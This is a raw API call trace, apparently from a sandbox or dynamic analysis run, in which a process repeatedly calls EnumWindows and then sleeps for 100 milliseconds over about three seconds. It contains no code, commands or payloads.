[0152.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.499] Sleep (dwMilliseconds=0x64) [0152.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.501] Sleep (dwMilliseconds=0x64) [0152.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.502] Sleep (dwMilliseconds=0x64) [0152.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.504] Sleep (dwMilliseconds=0x64) [0152.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.505] Sleep (dwMilliseconds=0x64) [0152.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.508] Sleep (dwMilliseconds=0x64) [0152.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.509] Sleep (dwMilliseconds=0x64) [0152.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.514] Sleep (dwMilliseconds=0x64) [0152.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.552] Sleep (dwMilliseconds=0x64) [0152.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.604] Sleep (dwMilliseconds=0x64) [0152.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.607] Sleep (dwMilliseconds=0x64) [0152.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.609] Sleep (dwMilliseconds=0x64) [0152.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.611] Sleep (dwMilliseconds=0x64) [0152.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.612] Sleep (dwMilliseconds=0x64) [0152.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.614] Sleep (dwMilliseconds=0x64) [0152.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.615] Sleep (dwMilliseconds=0x64) [0152.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.617] Sleep (dwMilliseconds=0x64) [0152.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.618] Sleep (dwMilliseconds=0x64) [0152.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.620] Sleep (dwMilliseconds=0x64) [0152.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.622] Sleep (dwMilliseconds=0x64) [0152.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.623] Sleep (dwMilliseconds=0x64) [0152.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.625] Sleep (dwMilliseconds=0x64) [0152.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.626] Sleep (dwMilliseconds=0x64) [0152.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.628] Sleep (dwMilliseconds=0x64) [0152.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.660] Sleep (dwMilliseconds=0x64) [0152.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.739] Sleep (dwMilliseconds=0x64) [0152.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.741] Sleep (dwMilliseconds=0x64) [0152.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.749] Sleep (dwMilliseconds=0x64) [0152.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.750] Sleep (dwMilliseconds=0x64) [0152.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.752] Sleep (dwMilliseconds=0x64) [0152.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.754] Sleep (dwMilliseconds=0x64) [0152.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.759] Sleep (dwMilliseconds=0x64) [0152.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.760] Sleep (dwMilliseconds=0x64) [0152.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.762] Sleep (dwMilliseconds=0x64) [0152.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.763] Sleep (dwMilliseconds=0x64) [0152.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.765] Sleep (dwMilliseconds=0x64) [0152.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.767] Sleep (dwMilliseconds=0x64) [0152.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.768] Sleep (dwMilliseconds=0x64) [0152.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.771] Sleep (dwMilliseconds=0x64) [0152.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.840] Sleep (dwMilliseconds=0x64) [0152.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.871] Sleep (dwMilliseconds=0x64) [0152.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.873] Sleep (dwMilliseconds=0x64) [0152.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.875] Sleep (dwMilliseconds=0x64) [0152.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.878] Sleep (dwMilliseconds=0x64) [0152.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.880] Sleep (dwMilliseconds=0x64) [0152.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.881] Sleep (dwMilliseconds=0x64) [0152.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.883] Sleep (dwMilliseconds=0x64) [0152.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.885] Sleep (dwMilliseconds=0x64) [0152.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.887] Sleep (dwMilliseconds=0x64) [0152.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.889] Sleep (dwMilliseconds=0x64) [0152.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.891] Sleep (dwMilliseconds=0x64) [0152.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.893] Sleep (dwMilliseconds=0x64) [0152.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.895] Sleep (dwMilliseconds=0x64) [0152.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.897] Sleep (dwMilliseconds=0x64) [0152.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.899] Sleep (dwMilliseconds=0x64) [0152.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.902] Sleep (dwMilliseconds=0x64) [0152.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.934] Sleep (dwMilliseconds=0x64) [0153.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.028] Sleep (dwMilliseconds=0x64) [0153.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.030] Sleep (dwMilliseconds=0x64) [0153.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.032] Sleep (dwMilliseconds=0x64) [0153.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.108] Sleep (dwMilliseconds=0x64) [0153.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.133] Sleep (dwMilliseconds=0x64) [0153.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.216] Sleep (dwMilliseconds=0x64) [0153.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.268] Sleep (dwMilliseconds=0x64) [0153.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.296] Sleep (dwMilliseconds=0x64) [0153.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.418] Sleep (dwMilliseconds=0x64) [0153.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.485] Sleep (dwMilliseconds=0x64) [0153.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.487] Sleep (dwMilliseconds=0x64) [0153.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.489] Sleep (dwMilliseconds=0x64) [0153.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.490] Sleep (dwMilliseconds=0x64) [0153.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.492] Sleep (dwMilliseconds=0x64) [0153.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.493] Sleep (dwMilliseconds=0x64) [0153.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.495] Sleep (dwMilliseconds=0x64) [0153.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.497] Sleep (dwMilliseconds=0x64) [0153.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.499] Sleep (dwMilliseconds=0x64) [0153.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.501] Sleep (dwMilliseconds=0x64) [0153.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.503] Sleep (dwMilliseconds=0x64) [0153.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.505] Sleep (dwMilliseconds=0x64) [0153.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.507] Sleep (dwMilliseconds=0x64) [0153.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.509] Sleep (dwMilliseconds=0x64) [0153.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.512] Sleep (dwMilliseconds=0x64) [0153.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.515] Sleep (dwMilliseconds=0x64) [0153.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.563] Sleep (dwMilliseconds=0x64) [0153.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.617] Sleep (dwMilliseconds=0x64) [0153.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.619] Sleep (dwMilliseconds=0x64) [0153.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.621] Sleep (dwMilliseconds=0x64) [0153.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.623] Sleep (dwMilliseconds=0x64) [0153.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.625] Sleep (dwMilliseconds=0x64) [0153.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.630] Sleep (dwMilliseconds=0x64) [0153.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.631] Sleep (dwMilliseconds=0x64) [0153.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.634] Sleep (dwMilliseconds=0x64) [0153.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.636] Sleep (dwMilliseconds=0x64) [0153.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.638] Sleep (dwMilliseconds=0x64) [0153.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.640] Sleep (dwMilliseconds=0x64) [0153.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.642] Sleep (dwMilliseconds=0x64) [0153.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.670] Sleep (dwMilliseconds=0x64) [0153.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.744] Sleep (dwMilliseconds=0x64) [0153.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.746] Sleep (dwMilliseconds=0x64) [0153.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.748] Sleep (dwMilliseconds=0x64) [0153.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.749] Sleep (dwMilliseconds=0x64) [0153.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.751] Sleep (dwMilliseconds=0x64) [0153.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.755] Sleep (dwMilliseconds=0x64) [0153.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.757] Sleep (dwMilliseconds=0x64) [0153.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.758] Sleep (dwMilliseconds=0x64) [0153.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.760] Sleep (dwMilliseconds=0x64) [0153.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.762] Sleep (dwMilliseconds=0x64) [0153.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.764] Sleep (dwMilliseconds=0x64) [0153.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.766] Sleep (dwMilliseconds=0x64) [0153.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.768] Sleep (dwMilliseconds=0x64) [0153.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.864] Sleep (dwMilliseconds=0x64) [0153.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.883] Sleep (dwMilliseconds=0x64) [0153.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.885] Sleep (dwMilliseconds=0x64) [0153.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.887] Sleep (dwMilliseconds=0x64) [0153.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.889] Sleep (dwMilliseconds=0x64) [0153.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.891] Sleep (dwMilliseconds=0x64) [0153.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.893] Sleep (dwMilliseconds=0x64) [0153.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.894] Sleep (dwMilliseconds=0x64) [0153.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.896] Sleep (dwMilliseconds=0x64) [0153.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.898] Sleep (dwMilliseconds=0x64) [0153.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.900] Sleep (dwMilliseconds=0x64) [0153.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.901] Sleep (dwMilliseconds=0x64) [0153.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.903] Sleep (dwMilliseconds=0x64) [0153.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.904] Sleep (dwMilliseconds=0x64) [0153.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.906] Sleep (dwMilliseconds=0x64) [0153.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.907] Sleep (dwMilliseconds=0x64) [0153.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.909] Sleep (dwMilliseconds=0x64) [0153.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.911] Sleep (dwMilliseconds=0x64) [0153.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.912] Sleep (dwMilliseconds=0x64) [0153.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0153.996] Sleep (dwMilliseconds=0x64) [0154.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.036] Sleep (dwMilliseconds=0x64) [0154.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.038] Sleep (dwMilliseconds=0x64) [0154.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.041] Sleep (dwMilliseconds=0x64) [0154.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.043] Sleep (dwMilliseconds=0x64) [0154.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.045] Sleep (dwMilliseconds=0x64) [0154.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.047] Sleep (dwMilliseconds=0x64) [0154.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.048] Sleep (dwMilliseconds=0x64) [0154.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.050] Sleep (dwMilliseconds=0x64) [0154.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.054] Sleep (dwMilliseconds=0x64) [0154.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.056] Sleep (dwMilliseconds=0x64) [0154.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.057] Sleep (dwMilliseconds=0x64) [0154.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.060] Sleep (dwMilliseconds=0x64) [0154.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.061] Sleep (dwMilliseconds=0x64) [0154.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.064] Sleep (dwMilliseconds=0x64) [0154.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.066] Sleep (dwMilliseconds=0x64) [0154.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.108] Sleep (dwMilliseconds=0x64) [0154.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.176] Sleep (dwMilliseconds=0x64) [0154.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.179] Sleep (dwMilliseconds=0x64) [0154.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.180] Sleep (dwMilliseconds=0x64) [0154.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.185] Sleep (dwMilliseconds=0x64) [0154.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.189] Sleep (dwMilliseconds=0x64) [0154.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.192] Sleep (dwMilliseconds=0x64) [0154.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.194] Sleep (dwMilliseconds=0x64) [0154.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.197] Sleep (dwMilliseconds=0x64) [0154.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.199] Sleep (dwMilliseconds=0x64) [0154.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.201] Sleep (dwMilliseconds=0x64) [0154.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.203] Sleep (dwMilliseconds=0x64) [0154.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.207] Sleep (dwMilliseconds=0x64) [0154.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.232] Sleep (dwMilliseconds=0x64) [0154.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.317] Sleep (dwMilliseconds=0x64) [0154.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.319] Sleep (dwMilliseconds=0x64) [0154.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.321] Sleep (dwMilliseconds=0x64) [0154.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.332] Sleep (dwMilliseconds=0x64) [0154.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.334] Sleep (dwMilliseconds=0x64) [0154.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.336] Sleep (dwMilliseconds=0x64) [0154.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.338] Sleep (dwMilliseconds=0x64) [0154.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.340] Sleep (dwMilliseconds=0x64) [0154.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.342] Sleep (dwMilliseconds=0x64) [0154.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.344] Sleep (dwMilliseconds=0x64) [0154.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.346] Sleep (dwMilliseconds=0x64) [0154.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.355] Sleep (dwMilliseconds=0x64) [0154.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.448] Sleep (dwMilliseconds=0x64) [0154.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.450] Sleep (dwMilliseconds=0x64) [0154.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.452] Sleep (dwMilliseconds=0x64) [0154.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.454] Sleep (dwMilliseconds=0x64) [0154.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.456] Sleep (dwMilliseconds=0x64) [0154.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.458] Sleep (dwMilliseconds=0x64) [0154.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.460] Sleep (dwMilliseconds=0x64) [0154.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.462] Sleep (dwMilliseconds=0x64) [0154.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.604] Sleep (dwMilliseconds=0x64) [0154.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.616] Sleep (dwMilliseconds=0x64) [0154.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.617] Sleep (dwMilliseconds=0x64) [0154.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.624] Sleep (dwMilliseconds=0x64) [0154.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.626] Sleep (dwMilliseconds=0x64) [0154.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.628] Sleep (dwMilliseconds=0x64) [0154.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.630] Sleep (dwMilliseconds=0x64) [0154.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.631] Sleep (dwMilliseconds=0x64) [0154.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.633] Sleep (dwMilliseconds=0x64) [0154.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.635] Sleep (dwMilliseconds=0x64) [0154.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.638] Sleep (dwMilliseconds=0x64) [0154.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.640] Sleep (dwMilliseconds=0x64) [0154.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.641] Sleep (dwMilliseconds=0x64) [0154.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.643] Sleep (dwMilliseconds=0x64) [0154.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.644] Sleep (dwMilliseconds=0x64) [0154.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.719] Sleep (dwMilliseconds=0x64) [0154.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.749] Sleep (dwMilliseconds=0x64) [0154.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.750] Sleep (dwMilliseconds=0x64) [0154.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.753] Sleep (dwMilliseconds=0x64) [0154.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.754] Sleep (dwMilliseconds=0x64) [0154.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.756] Sleep (dwMilliseconds=0x64) [0154.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.758] Sleep (dwMilliseconds=0x64) [0154.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.759] Sleep (dwMilliseconds=0x64) [0154.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.761] Sleep (dwMilliseconds=0x64) [0154.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.763] Sleep (dwMilliseconds=0x64) [0154.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.765] Sleep (dwMilliseconds=0x64) [0154.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.766] Sleep (dwMilliseconds=0x64) [0154.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.768] Sleep (dwMilliseconds=0x64) [0154.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.769] Sleep (dwMilliseconds=0x64) [0154.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.787] Sleep (dwMilliseconds=0x64) [0154.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.827] Sleep (dwMilliseconds=0x64) [0154.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.886] Sleep (dwMilliseconds=0x64) [0154.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.889] Sleep (dwMilliseconds=0x64) [0154.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.891] Sleep (dwMilliseconds=0x64) [0154.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.893] Sleep (dwMilliseconds=0x64) [0154.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.895] Sleep (dwMilliseconds=0x64) [0154.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0154.897] Sleep (dwMilliseconds=0x64) [0155.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.026] Sleep (dwMilliseconds=0x64) [0155.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.029] Sleep (dwMilliseconds=0x64) [0155.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.031] Sleep (dwMilliseconds=0x64) [0155.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.033] Sleep (dwMilliseconds=0x64) [0155.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.035] Sleep (dwMilliseconds=0x64) [0155.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.037] Sleep (dwMilliseconds=0x64) [0155.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.039] Sleep (dwMilliseconds=0x64) [0155.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.040] Sleep (dwMilliseconds=0x64) [0155.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.042] Sleep (dwMilliseconds=0x64) [0155.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.045] Sleep (dwMilliseconds=0x64) [0155.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.047] Sleep (dwMilliseconds=0x64) [0155.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.049] Sleep (dwMilliseconds=0x64) [0155.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.051] Sleep (dwMilliseconds=0x64) [0155.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.146] Sleep (dwMilliseconds=0x64) [0155.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.148] Sleep (dwMilliseconds=0x64) [0155.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.150] Sleep (dwMilliseconds=0x64) [0155.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.152] Sleep (dwMilliseconds=0x64) [0155.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.154] Sleep (dwMilliseconds=0x64) [0155.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.156] Sleep (dwMilliseconds=0x64) [0155.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.158] Sleep (dwMilliseconds=0x64) [0155.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.160] Sleep (dwMilliseconds=0x64) [0155.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.162] Sleep (dwMilliseconds=0x64) [0155.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0155.251] Sleep (dwMilliseconds=0x64) 